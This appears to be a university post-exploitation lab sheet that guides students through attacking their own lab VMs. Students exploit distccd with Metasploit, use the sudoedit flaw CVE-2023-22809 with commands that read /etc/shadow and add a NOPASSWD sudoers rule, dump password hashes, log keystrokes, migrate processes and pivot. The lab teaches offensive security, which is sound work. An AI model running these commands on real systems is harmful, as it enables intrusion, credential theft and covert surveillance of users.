> Note: *You don't need to login to the target VMs* (you don't need to know the login passwords), just start the VMs.
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
==action: Note the IP address(es) of the Kali Linux system, using "ip a"==.
|
||||
|
||||
## Introduction to post-exploitation {#introduction-to-post-exploitation}
|
||||
|
||||
Once an attacker has a foothold in a system, they can misuse the privileges they have “appropriated” to take actions on the system, or go on to try to gain even more access on this or other connected systems.
|
||||
|
||||
The payload they managed to execute will determine the type of interaction they have with the system, and what they can do with the access they have. For example, can they interact with the system and run commands, or only run one specific hard-coded command as a result?
|
||||
|
||||
The initial level of access an attacker gains depends on the security context of the software they have attacked: for example, did they attack a part of the operating system, a service, or a program that a user is running? What access control restrictions are in place? These factors will determine what the attacker can do on a compromised system.
|
||||
|
||||
## Having shell {#having-shell}
|
||||
|
||||
For many attackers, gaining superuser shell access on a remote system is the golden aim.
|
||||
|
||||
As you have seen in previous labs, a shellcode payload results in the attacker having access to a command line interface: typically a Bash prompt on Unix, or a Command (or previously DOS) Prompt on Windows systems.
|
||||
|
||||
When gaining shell access to a Windows system you may be greeted by something resembling the following:
|
||||
|
||||
```
|
||||
Microsoft Windows XP
|
||||
|
||||
(C) Copyright 1985-2001 Microsoft Corp.
|
||||
|
||||
C:\WINDOWS\system32>
|
||||
```
|
||||
|
||||
When gaining shell access to a Unix system you may be greeted by something like the following:
|
||||
```
|
||||
[user@hostname ~]$
|
||||
```
|
||||
|
||||
In some cases, you will have shell access, even though you will not see any visual prompt: in this case you can still type your commands, and probably still see the output of those commands.
|
||||
|
||||
In any of these cases, this is *almost* the same thing as having normal physical access to the computer, as a logged in user with a command prompt open. One difference worth noting is that it is best to avoid interactive programs (that is, commands that draw to the screen directly and await for you to respond), and you should instead use command line driven commands. Since your simple shell connection likely won't support interactive programs very well, you may not be able to continue, or even lose your connection. For example, with shell access to a Unix system, it is best to avoid the “less” command and instead use “cat”. Also note that *Ctrl-C* will probably kill your shell access rather than the current command you are running via the shell, so avoid running programs that continue until stopped (such as some common ways of running ping).
|
||||
|
||||
## Remote exploitation of a program running as a normal (non-root) user {#remote-exploitation-of-a-program-running-as-a-normal-non-root-user}
|
||||
|
||||
==VM: On your Kali Linux VM (attacker)==:
|
||||
|
||||
==action: Use nmap to scan your network, and identify the Linux Server's VM's IP address==.
|
||||
|
||||
> Tip: A standard nmap scan of the IP address range of the first three octets of your Kali VM, followed by 1-255. If you need to, refer to the scanning lab for instructions.
|
||||
|
||||
==action: Perform an Nmap scan, of the Linux VM, **on all ports** (1-65535)==.
|
||||
> Note: An Nmap scan detects the distccd service running on port 3632.
|
||||
|
||||
![][nmap_distcc]
|
||||
Nmap showing distccd port open
|
||||
|
||||
You will recall from the previous Vulnerabilities lab that [Distcc](http://distcc.googlecode.com/svn/trunk/doc/web/index.html) is a network service to distribute software compilation across multiple computers on a network. A search of the Metasploit database reveals that there are security issues with distccd. ==action: Run:==
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > search distccd
|
||||
```
|
||||
|
||||
```bash
|
||||
msf > info exploit/==edit:name==
|
||||
```
|
||||
|
||||
> Note: Where, *name* is the exploit name (path) determined using the previous command.
|
||||
|
||||
==action: Read the exploit details from the above command, particularly the description==.
|
||||
|
||||
==action: Use the MSF exploit identified above to attack the Linux Server VM, to gain shell access==.
|
||||
|
||||
> Hint: "use *exploit*", "show payloads", "set payload *payload*", "show options", "set *option value*", "exploit". Don't forget to set the IP address, when setting the options. A good payload would be "cmd/unix/reverse".
|
||||
|
||||
![][msf_set_rhost_exploit]
|
||||
Shell access on the Linux server
|
||||
|
||||
> Note: Although you will not be greeted with a command prompt, you should now have shell access. ==action: Confirm you have shell access to the target Linux server system. Run:==
|
||||
|
||||
```bash
|
||||
ip a
|
||||
```
|
||||
|
||||
## Assessing the level of access {#assessing-the-level-of-access}
|
||||
|
||||
The first question the attacker needs to ask themselves, is “what level of access do I have?”. That is, what is the level of authorisation that the attacker has after a successful attack?
|
||||
|
||||
### Got root? {#got-root}
|
||||
|
||||
Most operating systems have the concept of a superuser, which is a special user account that has permission to do practically anything on the system. On Windows this is the Administrator account (with an SID ending in 500\) or the System account (used for background services), and on Unix-based systems this is known as the root user (with a UID of 0). Note that on Windows XP and earlier versions of Windows it is normal for almost everything to run as an administrator account.
|
||||
|
||||
Most programs on Unix and newer versions of Windows *should* run under ordinary user accounts, which have limited privileges. The access controls in place restrict what each user is allowed to do on the system. Very new systems can (and should) place even further restrictions on programs based on what they need to be able to access; this is known as sandboxing (or application-oriented access controls). For example, Android and Windows 8 metro apps do limit the actions of applications to a list of privileges the author has specified. Unfortunately, in practice, this is still very rare.
|
||||
|
||||
An attacker that has taken control of software running on a remote system, will want to establish what security controls are in place, and what level of access the software that they now control is running as.
|
||||
|
||||
==action: On the Linux shell prompt, run the following to determine the user account you are running as, and the type of account:==
|
||||
|
||||
```bash
|
||||
whoami
|
||||
```
|
||||
|
||||
```bash
|
||||
id
|
||||
```
|
||||
|
||||
```bash
|
||||
id -u
|
||||
```
|
||||
|
||||
> Note: Check your user account, and User ID (uid) using the above commands. A uid of 0 indicates superuser access, any other uid indicates that normal Unix access controls apply.
|
||||
|
||||
On modern Unix systems password hashes are stored in /etc/shadow. ==action: Attempt to view these:==
|
||||
|
||||
```bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
|
||||
> Question: Can you access this? Why?
|
||||
|
||||
> Question: If you were to find yourself with *normal user* access, what kinds of files could you still access?
|
||||
|
||||
> Question: What is an example of each of a SID (Windows) and UID (Unix) of normal user accounts?
|
||||
|
||||
## Post-exploitation information gathering {#post-exploitation-information-gathering}
|
||||
|
||||
Information gathering is an ongoing process, even after exploitation, information gathering continues and informs us of any further actions we can take, and any further attacks we could launch.
|
||||
|
||||
==action: List all the environment variables, such as directories used:==
|
||||
|
||||
```bash
|
||||
env
|
||||
```
|
||||
|
||||
==action: Find the CPU, memory, and disk details:==
|
||||
|
||||
```bash
|
||||
cat /proc/cpuinfo
|
||||
```
|
||||
|
||||
```bash
|
||||
free -h
|
||||
```
|
||||
|
||||
```bash
|
||||
df -h
|
||||
```
|
||||
|
||||
==action: Determine the version of the Linux distro and kernel:==
|
||||
|
||||
```bash
|
||||
uname -a
|
||||
```
|
||||
|
||||
sudo, short for "superuser do", is a command-line utility that allows users to execute commands with the security privileges of another user, typically the superuser or root. It's commonly used in Unix-like operating systems to perform administrative tasks without logging in as the root user.
|
||||
|
||||
==action: Determine the version of the sudo command:==
|
||||
|
||||
```bash
|
||||
sudo --version
|
||||
```
|
||||
|
||||
> Question: This version of sudo has critical security vulnerabilities. Try to search online to answer: what is this vulnerable to?
|
||||
|
||||
## Privilege escalation {#privilege-escalation}
|
||||
|
||||
If an attacker finds themselves without superuser access, there are some tricks that under the right conditions can result in *privilege escalation*: gaining additional privileges that are not intentionally granted. For example, privilege escalation vulnerabilities have been discovered in various versions of the Windows and Linux kernels and in various other software. So, once an attacker manages to get some access to the system (such as access to a normal user account), they may be able to exploit a *local privilege escalation vulnerability* to gain superuser access.
|
||||
|
||||
> Note: The output of the previous command (sudo) identified the version of the sudo command running on the target system. As it turns out this version of sudo is vulnerable to a local privilege escalation attack!
|
||||
|
||||
==action: Leave the msfconsole open (you will return to this), and open another Bash console tab (Ctrl-Shift-T)==.
|
||||
|
||||
==action: Find potential exploits in the local copy of the Exploit DB:==
|
||||
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
|
||||
> Note: You can see there are a number of potential sudo related vulnerabilities listed, along with matching attack scripts in /usr/share/exploitdb/exploits/
|
||||
|
||||
Also ==tip: search online for vulnerabilities== in sudo. CVE-2023-22809 is relevant:
|
||||
|
||||
In Sudo before 1.9.12p2, the sudoedit (aka \-e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO\_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. Affected versions are 1.8.0 through 1.9.12.p1. The problem exists because a user-specified editor may contain a "--" argument that defeats a protection mechanism, e.g., an EDITOR='vim \-- /path/to/extra/file' value.
|
||||
|
||||
[https://nvd.nist.gov/vuln/detail/CVE-2023-22809](https://nvd.nist.gov/vuln/detail/CVE-2023-22809)
|
||||
|
||||
> Note: We can use this vulnerability to set an editor and open any file on the system for "editing" as root (to keep things simple, let's start with a read-only *cat* which will output the file).
|
||||
|
||||
==action: Still from the exploited distcc shell, run:==
|
||||
|
||||
```bash
|
||||
EDITOR='cat -- /etc/shadow' sudoedit /etc/hosts
|
||||
```
|
||||
|
||||
We now have access to the password hashes, which you were denied access to earlier.
|
||||
|
||||
The vulnerability is triggered by setting the EDITOR environment variable to include another file to open (/etc/shadow), and a coding mistake means we can use '--' to trick sudoedit into opening the extra file.
|
||||
|
||||
==action: We can also view the file that configures what commands each user is allowed to run using sudo. Run:==
|
||||
|
||||
```bash
|
||||
EDITOR='cat -- /etc/sudoers' sudoedit /etc/hosts
|
||||
```
|
||||
|
||||
We will further escalate our privileges on the system by editing the sudoers configuration file!
|
||||
|
||||
> Warning: Be aware that our shell prompt doesn't support full interactivity. This means that when running full-screen terminal interaction programs (such as Vi), the output may appear somewhat distorted or irregular. For example, the arrow keys will not work to navigate within Vi, and will instead fill the screen with unexpected characters.
|
||||
|
||||
> Warning: However, to proceed with this next privilege escalation attack, we will need to use Vi. It's crucial to exercise caution and navigate the program carefully, even if the output appears to be distorted or irregular. If you make a mistake when editing the sudoers file, the VM will be bricked, and you will need to restore the VM from a snapshot.
|
||||
|
||||
> Warning: Run this and **don't press any extra keys** (read ahead for instructions on what to type next):
|
||||
|
||||
```bash
|
||||
EDITOR='vim -- /etc/sudoers' sudoedit /etc/hosts
|
||||
```
|
||||
|
||||
==action: Press the Enter key==
|
||||
|
||||
==action: Carefully type (exactly) this:==
|
||||
|
||||
```
|
||||
Go
|
||||
```
|
||||
|
||||
==action: Press the Enter key==
|
||||
|
||||
> Note: *That will move you to the bottom of the file and add a new line and enter "insert" mode, so you can start typing the line to add.*
|
||||
|
||||
==action: Carefully type or paste (exactly) this:==
|
||||
|
||||
```
|
||||
distccd ALL=(ALL) NOPASSWD:ALL
|
||||
```
|
||||
|
||||
> Note: *This will change the sudo rules, so that your user distccd can run any sudo command without providing any password.*
|
||||
|
||||
==action: Carefully press these keyboard keys (exactly):==
|
||||
|
||||
```
|
||||
Esc
|
||||
```
|
||||
|
||||
> Note: *^\[ will appear on the screen*
|
||||
|
||||
```
|
||||
:x
|
||||
```
|
||||
|
||||
==action: Press the Enter key==
|
||||
|
||||
> Note: *This will save the file and then (sort of) open the next file (hosts). You will see a message 'Press ENTER or type command to continue'.*
|
||||
|
||||
==action: Carefully press these keyboard keys (exactly):==
|
||||
|
||||
```
|
||||
Esc
|
||||
```
|
||||
|
||||
> Note: *^\[ will appear on the screen*
|
||||
|
||||
```
|
||||
:q!
|
||||
```
|
||||
|
||||
> Note: If that has worked, you can run this command to escalate to root:
|
||||
|
||||
```bash
|
||||
sudo -i
|
||||
```
|
||||
|
||||
==action: Once again, run the following to determine the user account you are running as, and the type of account:==
|
||||
|
||||
```bash
|
||||
id
|
||||
```
|
||||
|
||||
```bash
|
||||
whoami
|
||||
```
|
||||
|
||||
```bash
|
||||
id -u
|
||||
```
|
||||
|
||||
> Note: Check your User ID (UID) using the above command. Remember: a uid of 0 indicates superuser access.
|
||||
|
||||
> Question: Is this an example of vertical or horizontal privilege escalation?
|
||||
|
||||
## Example Linux post-exploitation and admin commands {#example-linux-post-exploitation-and-admin-commands}
|
||||
|
||||
If you are a superuser (root), you can essentially do *anything* on the system, and you are only really limited by your skills at the bash prompt.
|
||||
|
||||
==action: For example, you can add a new user to the system, and set the password:==
|
||||
|
||||
```bash
|
||||
useradd ==edit:a-user-name==
|
||||
```
|
||||
|
||||
```bash
|
||||
passwd ==edit:a-user-name==
|
||||
```
|
||||
|
||||
==action: List all the user accounts on the system:==
|
||||
|
||||
```bash
|
||||
cat /etc/passwd
|
||||
```
|
||||
|
||||
==action: Finally, open a command interpreter as the root user, which can be used by post-exploitation modules:==
|
||||
|
||||
```bash
|
||||
sh
|
||||
```
|
||||
|
||||
## MSF post exploitation modules {#msf-post-exploitation-modules}
|
||||
|
||||
> Tip: Please, keep in mind that exploiting a vulnerability always means that you are causing the system to behave abnormally; so, do not expect that all post-exploitation modules will always work as they should; if something doesn't work in your VM, just continue.
|
||||
|
||||
> Note: If you are continuing from above:
|
||||
|
||||
==action: Make sure you have completed the previous steps, to get a root bind shell on the victim==.
|
||||
|
||||
==action: Put the session in the background:==
|
||||
|
||||
==action: Press Ctrl-Z (and when prompted, confirm)==
|
||||
|
||||
==action: Note the session ID:==
|
||||
|
||||
```bash
|
||||
msf > sessions
|
||||
```
|
||||
|
||||
> Note: Take a note of the session ID, such as "1".
|
||||
|
||||
### System details: Check whether we are in a VM {#system-details:-check-whether-we-are-in-a-vm}
|
||||
|
||||
==action: Run the post module "checkvm", to determine whether the system the attacker is interacting with is a VM:==
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/checkvm
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(checkvm) > show options
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(checkvm) > setg SESSION ==edit:ID==
|
||||
```
|
||||
|
||||
> Note: Where *ID* is the session ID number noted earlier.
|
||||
|
||||
> Tip: Using "setg" means that this option is remembered globally, so we won't have to type this for each of the below.
|
||||
|
||||
```bash
|
||||
msf post(checkvm) > exploit
|
||||
```
|
||||
|
||||
> Question: What does the output tell you?
|
||||
|
||||
### System details: Save configuration details {#system-details:-save-configuration-details}
|
||||
|
||||
> Action: Use the following methods to download system details.
|
||||
|
||||
The "enum_configs" module downloads and saves many interesting config files:
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/enum_configs
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(enum_configs) > exploit
|
||||
```
|
||||
|
||||
The "enum_network" module downloads and saves information about network state and settings:
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/enum_network
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(enum_network) > exploit
|
||||
```
|
||||
|
||||
The "enum_system" module downloads and saves information about the system, including the software installed, disk information, and so on:
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/enum_system
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(enum_system) > exploit
|
||||
```
|
||||
|
||||
The "enum_users_history" module downloads and saves log files and command history:
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/enum_users_history
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(enum_users_history) > exploit
|
||||
```
|
||||
|
||||
The output from the above will tell you where the "loot" was stored.
|
||||
|
||||
Browse through the retrieved information and answer the following:
|
||||
|
||||
> Question: What exact version of the Linux kernel is the target system running?
|
||||
|
||||
> Question: What firewall rules are applied?
|
||||
|
||||
> Question: Does the system have IPv6 enabled?
|
||||
|
||||
> Question: What other information can you find?
|
||||
|
||||
### Password hash dumping {#password-hash-dumping}
|
||||
|
||||
==action: Run the post module "hashdump", to collect the hashes of all the user account passwords:==
|
||||
|
||||
```bash
|
||||
msf > use post/linux/gather/hashdump
|
||||
```
|
||||
|
||||
```bash
|
||||
msf post(hashdump) > exploit
|
||||
```
|
||||
|
||||
> Question: What could you do with these hashes?
|
||||
|
||||
> Flag: **Look in the home users' directories on the Linux server, there are multiple flags to be found**. You can return to the session you placed in the background by typing "sessions ==edit:session-number==".
|
||||
|
||||
> Hint: There might be a user on this system who has used their login password to encrypt the "protected.zip" file. This is an advanced challenge, so do not worry if you cannot capture this flag.
|
||||
|
||||
> Hint: Feel free to experiment with the password cracking tools (e.g. John or Johnny) available in your Kali VM to decrypt the "protected.zip" file.
|
||||
|
||||
> Hint: There is a number of ways you can get password hashes to decrypt the "protected.zip" file: (i) extracting password hash from the "protected.zip" file itself; (ii) getting Linux's password hashes (see Hint-1) using the corresponding post-exploitation module or (iii) simply copying the 'shadow' file from Linux to Kali using 'nc' (similar to the way described in the labsheet) or 'scp' (read here: [https://linuxize.com/post/how-to-use-scp-command-to-securely-transfer-files/](https://linuxize.com/post/how-to-use-scp-command-to-securely-transfer-files/)) making use your root access.
|
||||
|
||||
## Advanced payloads: Meterpreter, and post-exploitation visualisation using Armitage {#advanced-payloads-meterpreter-and-post-exploitation-visualisation-using-armitage}
|
||||
|
||||
> Note: *You can pick up the lab from this point, without having to re-complete the above.*
|
||||
|
||||
==VM: In a Bash terminal on the Kali Linux VM (attacker)==:
|
||||
|
||||
==action: Start Armitage:==
|
||||
|
||||
```bash
|
||||
sudo msfdb reinit
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo armitage &
|
||||
```
|
||||
|
||||
> Note: If it asks for the attack computer's IP address, enter the IP address of your Kali VM. ==action: Use Armitage to launch an attack against the Windows VM:==
|
||||
|
||||
==action: Add and scan the Windows host. (Hint: Hosts, Add Host, enter IP address. Right click the host icon, and click Scan.)==
|
||||
|
||||
![][armitage_add_hosts]
|
||||
|
||||
Adding a host to Armitage
|
||||
|
||||
![][armitage_scan]
|
||||
|
||||
Running various MSF scans on a host in Armitage
|
||||
|
||||
At this point, you could instruct Armitage to "Find Attacks", but lets simply launch the EasyFTP exploit, which we know from previous experience the system is vulnerable to.
|
||||
|
||||
==action: In the modules tab (left hand pane), type "easyftp", scroll to "easyftp_cwd_fixret" and click and drag this exploit onto the icon representing our Windows target==.
|
||||
|
||||
==action: Click "Launch"==.
|
||||
|
||||
> Warning: *If Meterpreter becomes unresponsive at any point below, simply restart the Windows VM and rerun this exploit, and continue. (This exploit can be somewhat unreliable -- we are essentially crashing a process on purpose.)*
|
||||
|
||||
> Hint: *In addition to a vulnerability in easyftp server, the Windows VM has at least one more vulnerability that can also be exploited to get access to the system and find a flag.*
|
||||
|
||||
> Note: The attack worked, as indicated by the red icon with lightning bolts. One of the greatest features of Armitage is that it shows you msfconsole, and all the MSF commands it is issuing. Also, take note of the fact that the "exploit" tab showing what MSF is doing, shows that a Meterpreter session has been opened.
|
||||
|
||||
![][armitage_meterpreter_session_created]
|
||||
|
||||
Armitage exploitation with the Meterpreter payload
|
||||
|
||||
> Note: Scroll up, and read through the msfconsole tab for the exploit, and note that the payload used was Meterpreter, rather than a bind or reverse shell. Meterpreter is an advanced payload, originally developed by Matt Miller, AKA Skape. Meterpreter has lots of advanced features that are helpful for an attacker (such as spyware, and various system commands), and is dynamically extensible, meaning that features can be added as needed. By default Meterpreter encrypts traffic between the attacker and the compromised host.
|
||||
|
||||
![][armitage_interact_meterpreter_menu]
|
||||
|
||||
Interacting with a Meterpreter shell in Armitage
|
||||
|
||||
==action: Open an interactive Meterpreter tab (right click the Windows icon, select Meterpreter, Interact, Meterpreter Shell)==.
|
||||
|
||||
==action: To see a list of all the meterpreter commands available, run:==
|
||||
|
||||
```bash
|
||||
meterpreter > help
|
||||
```
|
||||
|
||||
As you can see, Meterpreter is essentially an advanced remote system administration tool. Read through the list of commands available.
|
||||
|
||||
Meterpreter makes it easy to obtain the level of access. ==action: Run:==
|
||||
|
||||
```bash
|
||||
meterpreter > getuid
|
||||
```
|
||||
|
||||
```bash
|
||||
meterpreter > getprivs
|
||||
```
|
||||
|
||||
> Note: The above commands will identify the user account (security context) that we are running as, and provide a list of all the privileges we have on the system. Note that while this is easy to find on Linux systems via the command line, this can be harder to determine on certain versions of Windows, depending on the command line tools installed. Using Meterpreter means that we have a large set of commands easily at our disposal (without having to upload lots of individual tools).
|
||||
|
||||
==action: We can easily access files via Meterpreter:==
|
||||
|
||||
```bash
|
||||
meterpreter > ls c:/
|
||||
```
|
||||
|
||||
> Flag: There is a flag to be found on a user's Desktop! Find and submit it to Hacktivity.
|
||||
|
||||
Armitage also has a nice file browser, which you may like to explore.
|
||||
|
||||
![][armitage_browse_files]
|
||||
|
||||
Browsing files on the victim system
|
||||
|
||||
==action: Meterpreter can be used to easily gather hashes of passwords:==
|
||||
|
||||
```bash
|
||||
meterpreter > run post/windows/gather/hashdump
|
||||
```
|
||||
|
||||
Armitage also provides a frontend for this feature, which you should try[^1].
|
||||
|
||||
![][armitage_dump_hashes]
|
||||
|
||||
Dumping password hashes with Armitage
|
||||
|
||||
You can also view a list of all the processes running:
|
||||
|
||||
==action: On the meterpreter prompt:==
|
||||
|
||||
```bash
|
||||
meterpreter > ps
|
||||
```
|
||||
|
||||
Or via Armitage, as shown in the figure below.
|
||||
|
||||
Note the PID of a long-term process.
|
||||
|
||||
![][armitage_meterpreter_show_processes]
|
||||
|
||||
Listing processes
|
||||
|
||||
Metasploit tries to avoid leaving forensic evidence. It remains in memory, and generally does not write to disk. By default it will hide itself as an "svchost.exe" process, which is a normal component on a Windows system (it hosts various services). Metasploit can also migrate between processes, by injecting itself into another running program.
|
||||
|
||||
> Question: What would this mean for forensic investigation after a crime, or incident response within an organisation?
|
||||
|
||||
==action: Migrate into another process on the system (to another process of your choice)==.
|
||||
|
||||
```bash
|
||||
meterpreter > migrate ==edit:PID==
|
||||
```
|
||||
|
||||
If you decided you wanted a standard Windows command shell, you can always drop into one. ==action: Run:==
|
||||
|
||||
```bash
|
||||
meterpreter > shell
|
||||
```
|
||||
|
||||
To return to Meterpreter, simply ==action: press Ctrl-D==.
|
||||
|
||||
> Question: What is an example of a situation when you may prefer shell access?
|
||||
|
||||
## Meterpreter, spyware, and Armitage {#meterpreter-spyware-and-armitage}
|
||||
|
||||
Meterpreter also has “spyware” features, such as the ability to monitor the victim’s keystrokes, screen (via still images or launching VNC), and even watching any attached webcams.
|
||||
|
||||
==action: Capture keystrokes on the system:==
|
||||
|
||||
==action: Right click the target system icon, Meterpreter, Explore, Log Keystrokes==.
|
||||
|
||||
==action: Set the CAPTURE_TYPE option to "winlogon", and click Launch==.
|
||||
|
||||
![][armitage_launch_keylog]
|
||||
|
||||
Keylogging user logins on a Windows target
|
||||
|
||||
> Tip: *If the system had active users, you would see all that they type.*
|
||||
|
||||
==action: Attempt to log into the Windows machine==.
|
||||
|
||||
![][win_login]
|
||||
|
||||
==action: Verify that the keystrokes were logged==.
|
||||
|
||||
![][meterpreter_keylog]
|
||||
|
||||
==action: View a screen capture (with this command or via the Armitage Meterpreter menu):==
|
||||
|
||||
```bash
|
||||
meterpreter > screenshot
|
||||
```
|
||||
|
||||
## Graphical interaction {#graphical-interaction}
|
||||
|
||||
> Warning: If VNC viewer hangs or throws an error, please skip this section. You can look at the screenshots below to see what this interaction looks like when successful.
|
||||
|
||||
Usually a command line (standard shell or Meterpreter) is the most effective way of remotely controlling a system. However, it is also possible to obtain graphical view and control.
|
||||
|
||||
==action: Right click the Windows host icon, and click Meterpreter, Interact, Desktop (VNC)==.
|
||||
|
||||
![][armitage_vnc]
|
||||
|
||||
Starting a VNC server on the target system
|
||||
|
||||
> Note: Note the IP address and port Armitage tells you to connect to.
|
||||
|
||||
![][armitage_vnc_running_ip_and_port]
|
||||
|
||||
Armitage information about the VNC server to connect to
|
||||
|
||||
==action: From a Kali Linux bash prompt, run:==
|
||||
|
||||
```bash
|
||||
vncviewer 127.0.0.1:port
|
||||
```
|
||||
|
||||
![][armitage_vnc_desktop]
|
||||
|
||||
VNC viewer accessing the desktop of a compromised system
|
||||
|
||||
Experiment with this feature. It is also possible to configure VNC to only view the remote system, without taking control of the mouse and keyboard.
|
||||
|
||||
## Pivoting and port forwarding {#pivoting-and-port-forwarding}
|
||||
|
||||
So far our VMs all share the one network segment (and they are all members of the same subnet), meaning they can all communicate with one another directly. Therefore our Kali Linux attack VM can attack each target directly.
|
||||
|
||||
==action: To check the networking for our compromised Windows system:==
|
||||
|
||||
```bash
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
However, there are situations where it is advantageous to attack one system via another system that has been compromised. For example, one system may be accessible via the Internet (such as a public server), and that server may have a second network interface card (NIC) connecting it to other systems out of reach of the attacker (such as those on a company intranet).
|
||||
|
||||
In this case, if an attacker can compromise the server, they can use the server to attack the internal system. This is known as *pivoting*; attacking via another compromised computer. Another major reason for pivoting is to further hide the source of an attack.
|
||||
|
||||
The simplest kind of pivoting is by port forwarding. At its simplest, you instruct a computer to listen on a port, and forward all connections through to a remote system on a specific port. Meterpreter can do this, and can also route whole ranges of traffic through a compromised system.
|
||||
|
||||
==action: Set up a broad pivot, so that Metasploit attacks are sent via this system:==
|
||||
|
||||
==action: In Armitage, right click the Windows system, click Meterpreter, Pivoting, Setup==.
|
||||
|
||||
==action: Click Add Pivot==.
|
||||
|
||||
At this point you can route almost any traffic via your compromised host, including Metasploit attacks.
|
||||
|
||||
==action: Click Menu → Hosts, click Add Hosts…, and enter the IP address of the Linux Server VM==.
|
||||
|
||||
==action: Right click the new host icon, and click "Scan"==. > Note: This will take longer than usual, since you are pivoting, and may take a few minutes. Once the scan has completed, the Tux icon will indicate a Linux system.
|
||||
|
||||
> Warning: If Armitage takes a very long time to pivot these attacks, feel free to skip this section. You can look at the screenshots below to see what this interaction looks like when successful.
|
||||
|
||||
> Note: The Armitage interface illustrates that our attacks against the Linux Server VM are sent via the Windows system.
|
||||
|
||||
![][armitage_pivot]
|
||||
|
||||
A pivot routing all attacks against the system displayed on the right through the system on the left
|
||||
|
||||
> Note: Now, any attacks we launch at this system will be proxied through the Windows VM.
|
||||
|
||||
> Flag: **Exploit a vulnerability in the Linux Server VM via the Windows VM.**
|
||||
|
||||
> Note: *You may need to troubleshoot the pivoting setup, if you experience issues. You can skip this step, if you feel you understand the concept and advantages.*
|
||||
|
||||
> Question: Consider the advantages of pivoting for an attacker.
|
||||
|
||||
## What else would an attacker want to do? {#what-else-would-an-attacker-want-to-do}
|
||||
|
||||
> Note: Other common steps include attempting to maintain access, so that a server restart would not require the attacker to exploit the vulnerability again, and covering their tracks, so that log files, and disk contents, do not indicate an attack has taken place. You may wish to investigate these further, especially in relation to features of Meterpreter.
|
||||
|
||||
> Question: Experiment with Armitage and Meterpreter to cover your tracks after an attack, and persist so that you maintain access.
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Gained a non-root shell, and gauged the limitations of this
|
||||
|
||||
* Completed post-exploitation information gathering
|
||||
|
||||
* Compiled and transferred a local privilege escalation exploit, and used that to get a root shell
|
||||
|
||||
* You have also run post-exploitation Metasploit modules, to gather information and sensitive data (password hashes) from a compromised system
|
||||
|
||||
* Used Armitage and Meterpreter, and experimented with advanced payload features including keylogging, and screen grabbing
|
||||
|
||||
* Used pivoting to attack one system from another
|
||||
|
||||
Congratulations\! This has been a rather lengthy lab, but at this point you have conducted most of the typical stages of an attack.
|
||||
|
||||
## Footnotes
|
||||
|
||||
[^1]: If one method does not work, try the others.
|
||||
|
||||
[vm_launch_icon]: /assets/images/common/vm_launch_icon.png
|
||||
[armitage_add_hosts]: /assets/images/introducing_attacks/7_post-exploitation/armitage_add_hosts.png
|
||||
[armitage_scan]: /assets/images/introducing_attacks/7_post-exploitation/armitage_scan.png
|
||||
[armitage_interact_meterpreter_menu]: /assets/images/introducing_attacks/7_post-exploitation/armitage_interact_meterpreter_menu.png
|
||||
[armitage_browse_files]: /assets/images/introducing_attacks/7_post-exploitation/armitage_browse_files.png
|
||||
[armitage_dump_hashes]: /assets/images/introducing_attacks/7_post-exploitation/armitage_dump_hashes.png
|
||||
[armitage_meterpreter_show_processes]: /assets/images/introducing_attacks/7_post-exploitation/armitage_meterpreter_show_processes.png
|
||||
[armitage_launch_keylog]: /assets/images/introducing_attacks/7_post-exploitation/armitage_launch_keylog.png
|
||||
[win_login]: /assets/images/introducing_attacks/7_post-exploitation/win_login.png
|
||||
[meterpreter_keylog]: /assets/images/introducing_attacks/7_post-exploitation/meterpreter_keylog.png
|
||||
[armitage_vnc]: /assets/images/introducing_attacks/7_post-exploitation/armitage_vnc.png
|
||||
[armitage_vnc_desktop]: /assets/images/introducing_attacks/7_post-exploitation/armitage_vnc_desktop.png
|
||||
[armitage_pivot]: /assets/images/introducing_attacks/7_post-exploitation/armitage_pivot.png
|
||||
[armitage_meterpreter_session_created]: /assets/images/introducing_attacks/7_post-exploitation/armitage_meterpreter_session_created.png
|
||||
[armitage_vnc_running_ip_and_port]: /assets/images/introducing_attacks/7_post-exploitation/armitage_vnc_running_ip_and_port.png
|
||||
[msf_set_rhost_exploit]: /assets/images/introducing_attacks/7_post-exploitation/msf_set_rhost_exploit.png
|
||||
[nmap_distcc]: /assets/images/introducing_attacks/7_post-exploitation/nmap_distcc.png
|
||||
|
||||
|
||||
268
_labs/introducing_attacks/8_vulnerability_analysis.md
Normal file
268
_labs/introducing_attacks/8_vulnerability_analysis.md
Normal file
@@ -0,0 +1,268 @@
|
||||
---
|
||||
title: "Vulnerability Analysis"
|
||||
author: ["Z. Cliffe Schreuders", "Anatoliy Gorbenko", "Tom Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn vulnerability assessment techniques using industry-standard tools like Nmap NSE, Nessus, and Nikto to identify
|
||||
security weaknesses in target systems."
|
||||
overview: |
|
||||
It is important for organisations to manage the security of their systems and for security professionals to efficiently scan networks for vulnerabilities. Vulnerability assessment is a critical practice aimed at identifying and addressing weaknesses in computer systems. This process is instrumental in safeguarding networks and data from potential threats and attacks. In this lab, you will explore a range of industry-standard tools, such as Nmap, Nessus, and Nikto, to evaluate the security posture of vulnerable services. The lab provides a hands-on experience that will equip you with the skills and knowledge to detect vulnerabilities, assess their severity, and understand the importance of using different tools for comprehensive security assessments.
|
||||
|
||||
